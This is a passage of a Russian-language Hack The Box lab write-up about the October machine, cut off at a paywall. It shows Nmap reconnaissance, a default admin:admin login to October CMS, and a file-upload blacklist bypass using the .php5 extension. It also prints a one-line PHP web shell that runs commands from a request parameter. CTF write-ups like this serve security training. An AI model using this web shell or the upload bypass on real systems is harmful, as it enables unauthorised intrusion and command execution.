В королевстве PWN. Обходим DEP и брутфорсим ASLR на виртуалке с Hack The Box

Сегодня мы захватим виртуальную машину October с Hack The Box. Нас ждет исследование October CMS, получение веб-шелла, разведка на хосте (поиск уязвимого бинарника) и комбинация атак ret2libc + брутфорс ASLR для получения сессии суперпользователя.

Машину для нового прохождения я выбрал не потому, что на дворе октябрь, а в основном за специфику испытаний, которая позволит продолжить тему низкоуровневой эксплуатации, начатую мной в прошлой статье. October — относительно несложная виртуальная машина (уровень Medium — 4,7 балла из 10), однако на ее примере удобнее всего разобрать, что представляет собой атака ret2libc, с помощью которой обходят запрет выполнения данных в стеке (DEP/NX-Bit), и как подбирается адрес той самой стандартной разделяемой библиотеки libc, чтобы обмануть механизм рандомизации размещения адресного пространства (ASLR).

На общий уровень сложности машины повлияло и то, что в админке CMS, которую предполагалось захватывать, «случайно» оставили дефолтную авторизацию. Поэтому быстро пробежим вступление и более подробно остановимся на этапе эскалации привилегий.

Разведка

Nmap

На этот раз я немного изменю свою стандартную тактику использования Nmap и попробую новый трюк.

root@kali:~# nmap -n -Pn --min-rate=1000 -T4 -p- 10.10.10.16 -vvv | tee ports
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 19:01 EDT
Initiating SYN Stealth Scan at 19:01
Scanning 10.10.10.16 [65535 ports]
Discovered open port 22/tcp on 10.10.10.16
Discovered open port 80/tcp on 10.10.10.16
SYN Stealth Scan Timing: About 25.97% done; ETC: 19:03 (0:01:28 remaining)
SYN Stealth Scan Timing: About 60.13% done; ETC: 19:03 (0:00:40 remaining)
Completed SYN Stealth Scan at 19:03, 90.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.081s latency).
Scanned at 2019-09-23 19:01:57 EDT for 90s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 90.52 seconds
Raw packets sent: 131135 (5.770MB) | Rcvd: 69 (3.036KB)

Первым действием я на высокой скорости (опции --min-rate=1000, -T4) просканирую весь диапазон портов хоста October. Запросив максимально подробный фидбэк от Nmap (тройным -vvv), я перенаправлю вывод в файл ports с помощью команды tee, но в то же время смогу видеть промежуточные результаты и прогресс выполнения до завершения работы сканера.

root@kali:~# ports=$(cat ports | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed 's/,$//')
root@kali:~# echo $ports
22,80

После чего, вооружившись текстовыми процессорами командной строки Linux и мощью регулярных выражений, я вытащу все порты из результата сканирования, сформирую из них строку, в которой номера портов разделены запятой, и присвою ее значение переменной $ports. Если магия парсинга файла ports кажется неинтуитивной, попробуй по частям разобрать приведенный однострочник, с каждым разом прибавляя следующий конвейерный оператор и команду, идущую за ним.

root@kali:~# nmap -n -Pn -sV -sC --reason -oA nmap/october -p$ports 10.10.10.16
root@kali:~# cat nmap/october.nmap
# Nmap 7.80 scan initiated Mon Sep 23 19:04:21 2019 as: nmap -n -Pn -sV -sC --reason -oA nmap/october -p22,80 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up, received user-set (0.080s latency).

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 23 19:04:31 2019 -- 1 IP address (1 host up) scanned in 10.19 seconds

Завершающим действием я вызову Nmap с переменной $ports, где хранится отсортированный список найденных портов, в качестве значения опции -p. Флаг --reason служит для того, чтобы сканер мог аргументированно «объяснить», на основании каких данных он сделал тот или иной вывод о статусе доступности каждого порта. Эти доводы можно наблюдать в появившейся колонке REASON.

Судя по баннеру, который «слил» демон SSH, и дате релиза машины на HTB, это Ubuntu 14.04. Другой очевидной информации нет, поэтому идем проверять, что творится на вебе.

Веб — порт 80

На http://10.10.10.16:80 тебя встретит сервер Apache с October CMS (тема — Vanilla).

Главная страница веб-сервера

Если поискать информацию о том, как попасть в панель админа, то на первой же странице мы найдем заботливый ответ на форуме самой CMS: просто добавь /backend в адресную строку.

Доступ к админке October CMS через /backend

Оказавшись в админке, я, недолго думая, попробовал стандартные admin:admin.

После авторизации в админке

И вот я уже на пороге панели управления. Вопросив searchsploit об известных уязвимостях October CMS, я нашел способ загрузки веб-шелла. В основе способа — неполный черный список расширений потенциально уязвимых файлов, в котором отсутствовало упоминание о php5.

106: <?php
107: protected function blockedExtensions()
108: {
109:         return [
110:                 // redacted
111:                 'php',
112:                 'php3',
113:                 'php4',
114:                 'phtml',
115:                 // redacted
116:         ];
117: }

На такую возможность намекал и уже лежавший в библиотеке скрипт на PHP 5. Поэтому я нажал Upload и загрузил самый банальный бэкдор, который смог придумать.

root@kali:~# echo '<?php system($_REQUEST["cmd"]); ?>' > backdoor.php5

Загружен бэкдор с расширением .php5

Теперь я могу инициировать выполнение команд от имени www-data, обратившись к загруженному файлу с аргументом cmd.

Триггерим удаленное выполнение команд

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

snovvcrash: Безопасник, временами питонщик, местами криптоана(рхист)литик, по необходимости системный администратор

Комментарии (4)

  • Отличный материал!
    Предельно расписан, спасибо!

  • Мозг! Спасибо. Очень долго пытался найти. Неожиданно, мега крут.

  • Пока ждем правку, непрогрузившийся бэкдор, выступивший в роли веб-шелла, выглядит примерно так:

    • Ага, значит, дело не в escape-символах, с которыми не справился хайлайтер синтаксиса, а в WAF-е, который не дает грузить PHP-код в тело страницы.